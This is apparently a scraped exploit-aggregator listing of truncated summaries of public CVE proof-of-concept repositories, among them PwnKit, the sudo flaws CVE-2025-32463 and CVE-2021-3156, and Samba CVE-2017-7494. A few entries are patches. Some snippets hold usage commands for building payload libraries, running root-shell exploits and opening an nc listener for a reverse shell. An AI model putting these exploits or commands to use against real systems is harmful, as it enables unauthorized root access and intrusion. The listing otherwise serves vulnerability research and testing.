cdt-vulnsamba-deploy

Equipo Delta CDT - Despliegue de Samba Vulnerable Resumen Este repositorio es un despliegue basado en Ansible de un servidor de archivos Samba vulnerable afectado por CVE-2017-7494, una vulnerabilidad crítica de ejecución remota de código. Se espera que sea desplegado para el equipo Delta durante...

CVE-2025-32463-Sudo-Privilege-Escalation

CVE-2025-32463-Escalada-de-Privilegios-en-Sudo ✔️ Completado en HackViser VIP Challenge Este repositorio contiene un exploit funcional para CVE-2025-32463 , una vulnerabilidad crítica CVSS 9.3 que afecta a las versiones de sudo 1.9.14 → 1.9.17 y permite escalada de privilegios local a ROOT abusand...

CVE-2021-4034

CVE-2021-4034 Polkit's Pkexec CVE-2021-4034 Proof Of Concept and Patching Confirmed on fully patched Ubuntu 21.10 PoC Patching https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034 Confirmed on...

f_poc_cve-2021-4034

fpoccve-2021-4034 usage root@kitploit: cd /tmp git clone https://github.com/jcatala/fpoccve-2021-4034/ cd fpoccve-2021-4034 gcc -fPIC -c ISO646.c ld -shared -shared ISO646.o -o s.so gcc f.c -o f ./f...

CVE-2021-4034

Python3 code to exploit CVE-2021-4034 PWNKIT. Esto fue un ejercicio de "¿puedo hacer que esto funcione en Python?", y no está pensado como un exploit robusto. A mí me funciona, probablemente haya errores. El payload por defecto inicia una shell como root, generado desde msfvenom: root@kitploit:...

CVE-2021-4034

CVE-2021-4034 This is an exploit created for CVE-2021-4034 meant as a POC. It is based off the info at https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt. How to use it: Download the exploit folder. Compile prog.c with gcc prog.c Go to the GCONVPATH=. folder and ensure that the "code" fil...

CVE-2021-42342

CVE-2021-42342 CVE-2021-42342 RCE POC1:just prints root@kitploit: include include include include static void beforemainvoid attributeconstructor; static void beforemainvoid write1, "Hello World!\n", 14; POC2: reverse shell root@kitploit: include include include include char serverip=""; uint32t...

CVE-2017-7494

CVE-2017-7494 针对SAMBA CVE-2017-7494漏洞的远程root利用工具。 详细信息 本利用工具分为两部分： 首先，它编译一个名为"implant.c"的有效载荷，并生成一个库（libimplantx32.so或libimplantx64.so），该库切换为root用户，脱离父进程并派生一个反向Shell。 其次，它在目标主机上查找可写共享，以上传该库（使用随机名称）并尝试加载它。 只要目标存在漏洞，且有效载荷与目标操作系统及架构匹配，该利用工具就100%可靠。 使用方法 在你的机器上运行以下命令： root@kitploit: $ nc -p 31337 -l...

CVE-2026-22018-Jenkins-Pipeline-Shared-Library-Code-Execution-via-Grab-

CVE-2026-22018 – Ejecución de código en la biblioteca compartida de Jenkins Pipeline mediante @Grab Código del programa pipeline de Groovy root@kitploit: // Jenkinsfile - loads untrusted shared library @Library'evil-library@master' node evilStep CVE-2026-22018 – Ejecución remota de código en la...

CVE-2021-4034

CVE-2021-4034 Un día para el exploit de escalada de privilegios de polkit Simplemente ejecuta make, ./cve-2021-4034 y disfruta de tu shell de root. El aviso original de los autores reales está aquí PoC Si el exploit funciona, obtendrás una shell de root inmediatamente: root@kitploit:...

CVE-2024-4701-POC

CVE-2024-4701-POC POC para CVE-2024-4701 Descarga el archivo docker de genie desde https://netflix.github.io/genie/docs/4.3.0/demo/docker-compose.yml o desde este repositorio Ejecuta docker-compose up Descarga el payload http adjunto loadlib Ejecuta el siguiente comando nc -w 5 localhost 8080...

CVE-2021-3156

CVE-2021-3156 PoC Introducción Este es un exploit para la vulnerabilidad CVE-2021-3156 en sudo apodada Baron Samedit by Qualys. Modo de Uso Compilar: root@kitploit: $ make lista de objetivos: root@kitploit: $ ./sudo-hax-me-a-sandwich Ejecutar: root@kitploit: $ ./sudo-hax-me-a-sandwich modo manual...

CVE-2026-3888-PoC

CVE-2026-3888-PoC compile payload gcc -shared -fPIC -o /tmp/libpayload.so payload.c...

cve-2018-6574

cve-2018-6574 root@kitploit: $ gcc -shared -o attack.so -fPIC attack.c...

Project_CVE-2021-21985_PoC

ProjectCVE-2021-21985PoC Compilación de JNI gcc -fPIC -I"$JAVAHOME/include" -I"$JAVAHOME/include/linux" -shared -o libhello.so HelloJNI.c...

cve-2018-6574

cve-2018-6574 gcc -shared -o attack.so -fPIC attack.c...

CVE-2024-48990-PoC-Testing

CVE-2024-48990-PoC-Testing 🐍🔓 Este repositorio contiene una Prueba de Concepto PoC para demostrar una vulnerabilidad en el programaneedrestart, que no establece correctamente la ruta de Python, lo que puede provocar una escalada de privilegios. La PoC destaca un posible camino para obtener...

CVE-2025-32463_Exploit

CVE-2025-32463Exploit Versiones vulnerables 1.9.14 a 1.9.17 root@kitploit: bash run.sh Resultado exitoso a continuación root@kitploit: neko@aosc-neko205 CVE-2025-32463Exploit@main $ bash run.sh + CVE-2025-32463 Sudo chroot 漏洞复现脚本 正在创建临时工作目录... 工作目录已创建: /tmp/sudoexploit.nc0EjT 正在创建 C 语言 payload...

CVE-2015-0235-workaround

CVE-2015-0235-solución temporal también conocida como vulnerabilidad GHOST en glibc Un envoltorio de biblioteca compartida con comprobaciones adicionales para las funciones vulnerables gethostbyname2r y gethostbynamer . La solución adecuada para CVE-2015-0235 es actualizar glibc al menos a...

ansible-mysql-cve-2016-6662

ansible-mysql-cve-2016-6662 Playbook simple de Ansible para parchear servidores MySQL contra CVE-2016-6662. ACTUALIZACIÓN 20160915.2347.CEST: Kenny me informó del hallazgo de Patrick Forsberg de que el parche original no protegía contra el abuso de ../. Ahora he sustituido el parche por uno más...